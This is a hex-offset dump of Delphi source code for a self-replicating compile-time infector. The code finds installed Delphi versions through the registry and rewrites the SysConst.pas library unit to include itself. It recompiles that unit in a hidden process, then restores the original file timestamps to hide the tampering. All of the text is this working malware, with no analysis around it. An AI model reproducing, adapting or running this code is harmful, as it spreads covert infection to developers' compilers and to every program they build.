0x4078B0 : uses windows; var sc:array[1..24] of string=(
0x4078E8 : function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]
0x407944 : =#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;
0x4079A0 : h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin
0x4079FC : h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle
0x407A58 : (h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile
0x407AB4 : (f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while
0x407B10 : not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0
0x407B6C : then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2
0x407BC8 : ,$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,
0x407C24 : x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$
0x407C80 : )); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.
0x407CDC : wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,
0x407D38 : f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),
0x407D94 : pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,
0x407DF0 : 0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=
0x407E4C : CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,
0x407EA8 : @t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of
0x407F04 : char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(
0x407F60 : HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then
0x407FBC : begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=
0x408018 : 1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+
0x408074 : $.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;
0x4080D0 : begin st; end.